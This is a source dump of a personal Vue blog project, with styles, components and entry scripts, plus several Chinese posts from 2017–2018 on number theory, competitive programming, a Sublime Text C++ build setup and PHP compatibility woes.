https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.86.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.87.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.87.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.88.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.88.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.89.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.89.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.90.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.90.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.91.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.91.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.97.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.97.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.98.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.98.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.99.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/H4chBXePl9DZ0Xe7gG9cyOj7oqP0dTpxZbB9E9gjjmzKvaeKHUTtJDWv3z-us4bxD8F5og.99.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJV37Nv7g.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJV37Nv7g.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJV77Nv7g.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJV77Nv7g.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJVD7Ng.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJVD7Ng.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJVP7Nv7g.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJVP7Nv7g.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJVT7Nv7g.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJVT7Nv7g.woff2
--------------------------------------------------------------------------------
/src/assets/styles/fonts/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJVz7Nv7g.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/styles/fonts/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJVz7Nv7g.woff2
--------------------------------------------------------------------------------
/src/assets/styles/toc.css:
--------------------------------------------------------------------------------
1 | nav.toc {
2 | @apply absolute left-full hidden h-full w-72 xl:block;
3 | animation: slide-in 1s forwards;
4 |
5 | a[href] {
6 | @apply no-underline;
7 | }
8 |
9 | ol {
10 | @apply sticky top-12 ml-4 mr-0;
11 |
12 | li {
13 | @apply list-none;
14 | }
15 | }
16 | }
17 |
18 | @keyframes slide-in {
19 | from {
20 | opacity: 0;
21 | transform: translateX(2rem);
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/src/components/comments/CommentDetail.vue:
--------------------------------------------------------------------------------
1 |
28 |
29 |
30 |
31 |
32 | {{ info.name }}#{{ info.hash }}
33 | {{ info.time }}
34 | {{ info.browser }}
35 | {{ info.os }}
36 |
41 | {{ "删除" }}
42 |
43 |
44 |
45 |
46 | {{ info.content }}
47 |
48 | 他居然钻了空子发了一条空评论!但是事实上他还是什么也做不到,他只是想向世人炫耀自己的技术水平罢了。多么悲哀!
49 |
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------
/src/components/easter-egg/Senpai.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
8 |
9 |
10 |
11 |
12 |
13 |
24 |
--------------------------------------------------------------------------------
/src/components/footer/Footer.vue:
--------------------------------------------------------------------------------
1 |
2 |
12 |
13 |
--------------------------------------------------------------------------------
/src/components/katex.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 | {{ text }}
4 |
5 |
6 |
32 |
--------------------------------------------------------------------------------
/src/components/metadata/Metadata.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | {{ author }}
5 |
6 |
7 | #{{ tag }}
8 |
9 |
10 |
11 |
12 |
13 |
14 | 注意:距离本文最后一次更新已经超过
15 | {{ yearsOld }} 年,世界线的变动可能会导致故事走向
16 |
21 | 不同的结局
22 |
23 | 。
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
58 |
--------------------------------------------------------------------------------
/src/components/progressbar/ProgressBar.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
10 |
11 |
36 |
--------------------------------------------------------------------------------
/src/components/progressbar/controller.ts:
--------------------------------------------------------------------------------
1 | import { inject, ref, type Plugin, type Ref } from "vue";
2 | import { START_LOCATION, stringifyQuery } from "vue-router";
3 |
4 | const PROGRESSBAR = Symbol("progress-bar");
5 |
6 | export type ProgressBar = {
7 | state: Ref<"init" | "show" | "finish">;
8 | start(): void;
9 | end(): void;
10 | };
11 |
12 | export function createProgressBar(): Plugin {
13 | return {
14 | install(app) {
15 | const state = ref<"init" | "show" | "finish">("init");
16 |
17 | const ctrl: ProgressBar = {
18 | state,
19 | start() {
20 | state.value = "show";
21 | },
22 | end() {
23 | setTimeout(() => {
24 | state.value = "finish";
25 | setTimeout(() => {
26 | state.value = "init";
27 | }, 300);
28 | }, 100);
29 | },
30 | };
31 |
32 | const router = app.config.globalProperties.$router;
33 |
34 | if (!router) {
35 | throw new Error("router not found");
36 | }
37 |
38 | router.beforeEach((to, from) => {
39 | // skip initial
40 | if (from === START_LOCATION) {
41 | return;
42 | }
43 |
44 | if (
45 | to.path != from.path ||
46 | stringifyQuery(to.query) != stringifyQuery(from.query)
47 | ) {
48 | ctrl.start();
49 | }
50 | });
51 | router.afterEach(() => {
52 | if (ctrl.state.value === "show") ctrl.end();
53 | });
54 |
55 | app.provide(PROGRESSBAR, ctrl);
56 | },
57 | };
58 | }
59 |
60 | export function injectProgressBar() {
61 | return inject(PROGRESSBAR)!;
62 | }
63 |
--------------------------------------------------------------------------------
/src/components/typography/Link.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
19 |
--------------------------------------------------------------------------------
/src/components/typography/Typography.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/src/entry.client.ts:
--------------------------------------------------------------------------------
1 | import { manifest } from "blitz:manifest/client";
2 | import { createHead } from "@unhead/vue";
3 | import { createRouter, createWebHistory } from "vue-router";
4 | import { createSSRApp } from "vue";
5 | import { createBlitz } from "@biliblitz/blitz";
6 | import { createProgressBar } from "./components/progressbar/controller.ts";
7 |
8 | import Root from "./Root.vue";
9 | import Link from "./components/typography/Link.vue";
10 | import Metadata from "./components/metadata/Metadata.vue";
11 | import Reactions from "./components/comments/Reactions.vue";
12 | import Katex from "./components/katex.vue";
13 |
14 | const head = createHead();
15 | const router = createRouter({
16 | routes: manifest.routes,
17 | history: createWebHistory(manifest.base),
18 | scrollBehavior(to, _from, savedPosition) {
19 | if (to.hash) {
20 | return { el: to.hash, behavior: "smooth" };
21 | }
22 | return savedPosition || { top: 0 };
23 | },
24 | });
25 | const progressbar = createProgressBar();
26 | const blitz = createBlitz({ manifest });
27 |
28 | const app = createSSRApp(Root)
29 | .use(head)
30 | .use(router)
31 | .use(progressbar)
32 | .use(blitz)
33 | .component("vue-link", Link)
34 | .component("vue-katex", Katex)
35 | .component("vue-metadata", Metadata)
36 | .component("vue-reactions", Reactions);
37 |
38 | router.isReady().then(() => {
39 | app.mount("#app", true);
40 | });
41 |
--------------------------------------------------------------------------------
/src/entry.dev.ts:
--------------------------------------------------------------------------------
1 | import server from "./entry.server.ts";
2 |
3 | export default server;
4 |
--------------------------------------------------------------------------------
/src/entry.nodejs.ts:
--------------------------------------------------------------------------------
1 | import server from "./entry.server.ts";
2 |
3 | export default server;
4 |
--------------------------------------------------------------------------------
/src/entry.static.ts:
--------------------------------------------------------------------------------
1 | import server from "./entry.server.ts";
2 |
3 | export default server;
4 |
--------------------------------------------------------------------------------
/src/global.css:
--------------------------------------------------------------------------------
1 | @import "./assets/styles/prism-tomorrow.css";
2 | @import "./assets/styles/google-fonts.css";
3 | @import "./assets/styles/typography.css";
4 | @import "./assets/styles/toc.css";
5 | @import "katex/dist/katex.min.css";
6 |
7 | @tailwind base;
8 | @tailwind components;
9 | @tailwind utilities;
10 |
11 | body {
12 | @apply bg-slate-100 text-slate-800 dark:bg-slate-800 dark:text-slate-200 dark:[color-scheme:dark];
13 | }
14 |
15 | @media only screen and (prefers-color-scheme: dark) and (min-width: 1024px) {
16 | body.aniki {
17 | background-size: 20%;
18 | background-image: url(./assets/guaiguaizhanhao.png);
19 | background-repeat: no-repeat;
20 | background-position: 100% 100%;
21 | background-attachment: fixed;
22 | }
23 | }
24 |
25 | ::selection {
26 | @apply bg-slate-300 dark:bg-slate-600;
27 | }
28 |
29 | pre ::selection {
30 | @apply bg-slate-600;
31 | }
32 |
33 | .info {
34 | @apply mx-6 my-2 mb-8 text-sm opacity-60;
35 | }
36 |
37 | .info :not(:first-child)::before {
38 | @apply px-1;
39 | content: "\2022";
40 | }
41 |
42 | .truth {
43 | @apply bg-slate-800 text-slate-800 hover:text-slate-200 dark:bg-slate-200 dark:text-slate-200 dark:hover:text-slate-800;
44 | }
45 |
46 | rt {
47 | font-size: 0.75em;
48 | }
49 |
50 | /* rehype-autolink-headings */
51 |
52 | h1,
53 | h2,
54 | h3,
55 | h4,
56 | h5,
57 | h6 {
58 | a[aria-hidden].router-link-active {
59 | @apply no-underline opacity-0;
60 | transition: opacity 0.3s;
61 |
62 | .icon.icon-link {
63 | @apply no-underline;
64 |
65 | &::after {
66 | content: "#";
67 | @apply mx-2 h-full text-slate-500;
68 | }
69 | }
70 | }
71 |
72 | &:hover a[aria-hidden] {
73 | @apply opacity-100;
74 | }
75 | }
76 |
77 | img[alt="inline"] {
78 | display: inline-block;
79 | }
80 |
--------------------------------------------------------------------------------
/src/metadata.json:
--------------------------------------------------------------------------------
1 | {
2 | "site-name": "swwind's blog",
3 | "site-description": "swwind 的博客,主要用于发布博客文章。",
4 | "header": "你所热爱的,就是你的生活",
5 | "cf-sitekey": "0x4AAAAAAAS5m1MQd1KZg3lw"
6 | }
7 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2017)/blog-go-die/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: 近期博客的走向
3 | ---
4 |
5 | # 近期博客的走向
6 |
7 |
8 |
9 | 最近看了一些非 OIER 的博客,日有所思,于是打算记录一下。
10 |
11 | 我大致的浏览了一下某位大佬的友链([这里](https://blog.metheno.net/py.html)),观赏到了不少优秀的博客。
12 |
13 | 这些博客大多建立在自己的服务器上(好像都是土豪),而且里面的文章基本上都很有技术水准。
14 |
15 | 很多博客都设计的十分简洁,但是也有些博客经常放一些奇怪的东西进去(比如一张很大的 sagiri 的图片,这样被老师看到就翻车了)。
16 |
17 | 本人决定综合上述博客,取其精华,去其糟粕,给本博客来一次大更新。
18 |
19 | 现基本决定如下:
20 |
21 | - [ ] 配色(我必须得学学了)
22 | - [ ] ~~更多的动画效果(多用 jQuery 的动画而不是 css 的)~~
23 | - [x] 增加一张背景图片
24 | - [x] 买一个域名
25 | - [ ] 移动端适配(已经打破移动端 0 访问量的记录了 2333)
26 |
27 | 各位可以在评论区里提一提建议,十分感谢。
28 |
29 | 最近的话应该是停更的样子,因为我晚自修做不完作业了。
30 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2017)/dirichlet/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: Dirichlet 卷积
3 | ---
4 |
5 | # Dirichlet 卷积
6 |
7 |
8 |
9 | ## 定义
10 |
11 | 两个数论函数 $f, g$ 的 Dirichlet 卷积为:
12 |
13 | $$
14 | (f\times g)(n)=\sum_{d|n}{f(d)g(\frac nd)}
15 | $$
16 |
17 | ## Dirichlet 卷积的一些性质
18 |
19 | - 交换律 $f\times g=g\times f$
20 | - 结合律 $(f\times g)\times h=f\times (g\times h)$
21 | - 分配律 $f\times (g+h)=f\times g+f\times h$
22 | - 单位元 $\varepsilon\times f=f$
23 |
24 | ## 常见的Dirichlet卷积
25 |
26 | 首先你要知道下面这些东西
27 |
28 | - $\sigma_k(n)$表示$n$的所有正因子的k次幂的和
29 | - $d(n)=\sigma_0(n)$表示$n$的正因子个数
30 | - $\sigma(n)=\sigma_1(n)$表示$n$的所有正因子的和
31 | - $ld_k(n)=n^k$
32 | - $l(n)=lk_0(n)=1$
33 | - $ld(n)=ld_1(n)=n$(记住这个就好)
34 | - $\varepsilon(n)=\begin{cases}1,&n=1\\\\0,&n>1\end{cases}$
35 |
36 | 然后试图理解下面的
37 |
38 | - $d(n)=\sum_{d|n}l\Leftrightarrow l\times l$
39 | - $\sigma(n)=\sum_{d|n}d\Leftrightarrow l\times ld$
40 | - $\varepsilon(n)=\sum_{d|n}\mu(d)\Leftrightarrow \varepsilon=l\times \mu$
41 | - $\varphi(n)=\sum_{d|n}\mu(d)\frac nd\Leftrightarrow \varphi=\mu\times ld$
42 | - $n=\sum_{d|n}\varphi(d)\Leftrightarrow ld=l\times \varphi$
43 |
44 | 此外还有
45 |
46 | - $\varepsilon(n)=\sum_{d|n}\mu(d)$
47 | - $\varphi(n)=\sum_{d|n}\mu(d)\frac nd\Leftrightarrow n=\sum_{d|n}\varphi(d)$
48 |
49 | 在整数集 $D$ 里还有
50 |
51 | - $f(d)=\sum_{x|d,d\in D}g(d)\Leftrightarrow g(x)=\sum_{x|d,d\in D}\mu(d)f(\frac dx)$
52 |
53 | 看懂了吗 ~~(我也没有~~
54 |
55 | GL&HF
56 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2017)/how-to-use-sublime-3-compile-cpp-file/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: "教程: 用 Sublime Text 3 编译和运行 C++ 程序"
3 | ---
4 |
5 | # 教程: 用 Sublime Text 3 编译和运行 C++ 程序
6 |
7 |
8 |
9 | ## 前言
10 |
11 | 咳咳,如果你dev用惯了,看他不爽,想换个 IDE,那么推荐用 Sublime Text 这款软件。由于服务器在国外,所以下载可能会有点慢,所以提供一个百度网盘链接:[jvgp](http://pan.baidu.com/s/1i5tDUFb)。链接挂了跟我说。
12 |
13 | ## 安装编译器
14 |
15 | 把 安装目录 `/mingwXX/bin/` 的路径加到环境变量里。
16 | 然后打开控制台输入 `g++ --version` 看看是否正常。
17 |
18 | ## 添加Build System
19 |
20 | 打开 Sublime Text,点击 Tools -> Build System -> New Build System...,再把下面的东西复制进去
21 |
22 | ```json
23 | {
24 | "cmd": [
25 | "g++",
26 | "${file}",
27 | "-o",
28 | "${file_path}/${file_base_name}",
29 | "-O2",
30 | "-std=c++11"
31 | ],
32 | "file_regex": "^(..[^:]*):([0-9]+):?([0-9]+)?:?(.*)$",
33 | "working_dir": "${file_path}",
34 | "encoding": "utf-8",
35 | "selector": "source.c++",
36 | "variants": [
37 | {
38 | "name": "Run",
39 | "cmd": [
40 | "cmd",
41 | "/C",
42 | "start",
43 | "cmd",
44 | "/c",
45 | "${file_path}/${file_base_name}.exe &pause"
46 | ]
47 | }
48 | ]
49 | }
50 | ```
51 |
52 | 接着保存为 `cpp.sublime-build`,再点击 Tools -> Build System -> CPP 就完成啦。
53 |
54 | ## 使用说明
55 |
56 | `Ctrl+Shift+B` 打开菜单,选择cpp是编译,选择cpp-Run是运行(自带pause)
57 |
58 | `Ctrl+B` 重复上一操作
59 |
60 | ## 总结
61 |
62 | 貌似这个编辑器还可以安装各种强大的插件。。具体可以另找教程。
63 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2017)/mi-works/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: MI 作品鉴赏
3 | ---
4 |
5 | # MI 作品鉴赏
6 |
7 |
8 |
9 | ## 前言
10 |
11 | Mine-Imator 其实是个好东西 
12 |
13 | 我会把我大部分的作品发布到这个帖子里 
14 |
15 | 其实都是些搞事情的图片,没有什么可以欣赏的 
16 |
17 | 不多说了自己看吧 
18 |
19 | ## 2017.3.27
20 |
21 | 这图是来调戏同学的 2333
22 |
23 | 
24 |
25 | ## 2017.3.28
26 |
27 | 这图是用来调戏同学和 oierbbs 的管理的 2333
28 |
29 | 
30 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2017)/noip2017-travel/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: NOIP2017游记
3 | ---
4 |
5 | # NOIP2017 游记
6 |
7 |
8 |
9 | 第一次考提高组。
10 |
11 | # Day 0
12 |
13 | ## 晚
14 |
15 | 在宾馆放了一下行李后就直接到衢州中学来领狗牌+吃晚饭了。
16 | 晚上稍微休息浪了一会,10:10 就睡下了。
17 |
18 | # Day 1
19 |
20 | ## 早
21 |
22 | 6:30 ~~做梦做到一半~~被室友叫醒,刷了刷牙就出来了。
23 |
24 | ## 上午
25 |
26 | 来到试场,发现是 xp 的系统。
27 |
28 | 
29 |
30 | 发现还没有 notepad++。
31 |
32 | 
33 |
34 | 公布密码后,先看 T1,发现是道打表找规律题。
35 |
36 | 找了半小时没找到规律,就先放着做 T2 去了。
37 |
38 | 先敲了半天没调出来,越改越乱,就直接重码了一边,过样例后就不管了。
39 |
40 | 看到 T3。。。决定回去做 T1。
41 |
42 | 肛了半个小时终于找出来规律了。
43 |
44 | 对拍了一下 100\*100 发现没问题就不管了。
45 |
46 | T3 想了半天想不出来,就直接打了一个比暴力还要暴力的暴力交了上去(谁知道我在想什么)。
47 |
48 | 出考场后就直接去吃饭了。
49 |
50 | ## 下午
51 |
52 | ~~浪了一个下午,为第二天爆蛋做铺垫~~
53 |
54 | # Day 2
55 |
56 | ## 上午
57 |
58 | T1 计算几何。。看来敦爷真的要吃笔记本了。
59 | 做完 T1 后看了 T2,先打了蒙特卡罗,发现正确率有点感人。
60 | 然后就写了一个状压的 dp,过了样例感觉稳了。
61 | T3 看了半天不会,果断打了一个 30 分的暴力。
62 |
63 | ## 中午
64 |
65 | 突然想到 T1 好像没有有个地方没有开 long long,感觉要 AFO 了。
66 |
67 | # 几天后
68 |
69 | 洛谷 410,绍一的数据 370,学军的也是 370,感觉稳 AFO 了。
70 |
71 | 最终成绩出来 400,悬啊。。。
72 |
73 | 结果一等线 360。。。卡线一等。
74 |
75 | AFO
76 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2017)/zyy-contest-simple/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: zyy 的模拟赛 森破
3 | ---
4 |
5 | # zyy 的模拟赛 森破
6 |
7 |
8 |
9 | ## 题面
10 |
11 | 大头会求 $f_n\pmod{10^9+7}$,其中 $f_0=1,f_1=1,f_i=f_{i-1}+f_{i-2}$。
12 |
13 | 大头觉得这题实在是图样图森破。
14 |
15 | 他想了想,让他们求 $\sum_{i=0}^nf_i\pmod{10^9+7}$,可是大头觉得这题实在还是图样图森破。
16 |
17 | 大头想到这么一道 $\text{H}_2\text{O}$ 题:
18 |
19 | > 求 $\sum_{i=0}^nf_iC_n^i\pmod{10^9+7}$ 的值
20 |
21 | 大头现在不觉得这道题图样图森破了,于是他把题目交给了你。
22 |
23 | ## Input
24 |
25 | 第一行 1 个数 n,含义如题所示
26 |
27 | ## Output
28 |
29 | 一行一个数,表示答案。
30 |
31 | ## Sample Input
32 |
33 | ```
34 | 12
35 | ```
36 |
37 | ## Sample Output
38 |
39 | ```
40 | 75025
41 | ```
42 |
43 | ## 题解
44 |
45 | 模拟赛做到了这题,觉得比较巧妙,于是放出来和大家分享一下。
46 |
47 | ~~我想zyy应该不会说什么。。~~
48 |
49 | 首先你如果打表的话就会发现答案其实就是 $f_{2n}$
50 |
51 | 来证明一下。
52 |
53 | 显然这题要用到二项式定理。
54 |
55 | $$
56 | (a+b)^n = \sum_{i=0}^nC^i_na^{n-i}b^i
57 | $$
58 |
59 | 关于二项式定理的证明可以看[wiki](https://zh.wikipedia.org/wiki/%E4%BA%8C%E9%A1%B9%E5%BC%8F%E5%AE%9A%E7%90%86)上的证明,这里就不赘述了。
60 |
61 | 这个式子是不是和要求的式子很像?
62 |
63 | 我们再来看看求斐波那契第 $i$ 项的做法:
64 |
65 | 设 $A=\begin{bmatrix}1&1\\1&0\end{bmatrix}$
66 |
67 | $$
68 | f_i=A^i_{0,0}
69 | $$
70 |
71 | 于是我们可以得出以下结论
72 |
73 | $$
74 | \begin{aligned}原式&=\sum_{i=0}^nC_n^iA^i\\&=(A+1)^n\end{aligned}
75 | $$
76 |
77 | $1$ 用单位矩阵 $\begin{bmatrix}1&0\\0&1\end{bmatrix}$ 代替,那么答案就是
78 |
79 | $$
80 | \begin{bmatrix}2&1\\1&1\end{bmatrix}^n
81 | $$
82 |
83 | 注意到 $A^2$ 就是 $\begin{bmatrix}2&1\\1&1\end{bmatrix}$,所以答案就是
84 |
85 | $$
86 | A^{2n}=f_{2n}
87 | $$
88 |
89 | 代码就不用了吧。。
90 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2018)/domain-change/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: 【重要通知】博客域名更换
3 | ---
4 |
5 | # 【重要通知】博客域名更换
6 |
7 |
8 |
9 | ~~由于博主一时冲动,控制不住自己的手,就买了一个 .me 域名。~~
10 |
11 | 新域名 /swwind.me> 从 [namecheap](https://namecheap.com) 购买。
12 |
13 | 个人首页的 SSL/TLS 证书好像乱掉了,发回来了一个颁发给 github.com 的证书。(黑人问号
14 |
15 | 本博客已经可以通过 HTTPS 正常访问。(~~还是 Coding 稳~~
16 |
17 | 原域名 /swwind.top> 已设置自动跳转至新域名,并且将于 2018-10-22 09:57:56(UTC+8) 到期。
18 |
19 | 届时将不会再给原域名续费,特此通知。
20 |
21 | **请更新您的 RSS 订阅链接。** ( ~~如果你有订阅的话。。~~
22 |
23 | 卧槽一个 .me 域名续费一年怎么要一百多块钱 QAQ
24 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2018)/happy-new-year/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: Happy New Year
3 | ---
4 |
5 | # Happy New Year
6 |
7 |
8 |
9 | 祝大家新年快乐!
10 |
11 | 好像没什么好写的。
12 |
13 | 我就点几首歌吧。
14 |
15 | ### 日系
16 |
17 | **花火 - 清浦夏実**
18 |
19 |
28 |
29 | > lalala グッバイ泣いてた日々
30 | >
31 | > この気持ちはこの空に預けるよ
32 | >
33 | > だから グッバイあの思い出は
34 | >
35 | > 心の中 大切にするね
36 | >
37 | > ありがとう
38 |
39 | ### Kawaii Bass
40 |
41 | **Daijoubu - Axlance / Shiro**
42 |
43 |
52 |
53 | > 大丈夫
54 |
55 | ### Future Bass
56 |
57 | **All Falls Down - Alan Walker**
58 |
59 | http://music.163.com/#/song?id=515453363
60 |
61 | > Cause when it all falls down, then whatever
62 | >
63 | > When it don't work out for the better
64 | >
65 | > If we just ain't right, and it's time to say goodbye
66 | >
67 | > When it all falls down, when it all falls down
68 | >
69 | > I'll be fine
70 |
71 | ### Melodic House
72 |
73 | **The Colour Of My Dreams - Xwdit**
74 |
75 |
84 |
85 | > ~~02 后中学制作人~~
86 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2018)/how-it-feel-backward-compatibility/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: 向下兼容是一种怎么样的体验
3 | ---
4 |
5 | # 向下兼容是一种怎么样的体验
6 |
7 |
8 |
9 | 前几天同学托我用 PHP 写一个论坛。
10 |
11 | 首先正常人应该都会想到去 github 上找现成的对吧。
12 |
13 | 但是后来发现找到的能支持 PHP 5.3 的模板几乎没有。
14 |
15 | 于是本人只好手写。
16 |
17 | 鉴于本人长期积累的颓废开发经验,前端不成问题。
18 |
19 | 后端由于服务商限制,我只能用 PHP。
20 |
21 | 数据库什么的我不会。那么就直接在服务器上用 `.log` 文件来保存吧。
22 |
23 | 毕竟我只对 json 方面的数据存储比较熟。
24 |
25 | 经过近一两个星期的爆肝颓废开发,基本功能算是写好了。
26 |
27 | 然后扔到服务器上,返回了如下信息:
28 |
29 | ```text
30 | Parse error: syntax error, unexpected '(' in /www/users/yangwanlt.club/index.php on line 75
31 | ```
32 |
33 | 我一看源代码:
34 |
35 | 
36 |
37 | 好吧算我输,我 JavaScript 写多了。
38 |
39 | 那我把里面的东西改成一个 `array` 定义再用 `__invoke()` 调用就行了吧?
40 |
41 | 改完之后再上传了一发,返回了如下信息:
42 |
43 | ```text
44 | Parse error: syntax error, unexpected '[' in /www/users/yangwanlt.club/Route.php on line 24
45 | ```
46 |
47 | 这是说数组都不能用 `[]` 来定义么。。。
48 |
49 | 然后我在网上看到了这个。
50 |
51 | 
52 |
53 | 也就是说他们的 PHP 版本已经小于 5.4 了么。。。
54 |
55 | 那我强行改成 `array()` 来定义总行了吧。
56 |
57 | 然后又返回了错误信息:
58 |
59 | ```text
60 | Parse error: syntax error, unexpected T_FUNCTION in /www/users/yangwanlt.club/routes.php on line 3
61 | ```
62 |
63 | 这是说我连匿名函数都不能用了?
64 |
65 | 然后我去翻文档,发现官方是这么说的:
66 |
67 | 
68 |
69 | 也就是说服务商的 PHP 连 5.3 都没有???
70 |
71 | 不能用匿名函数写个毛线啊。
72 |
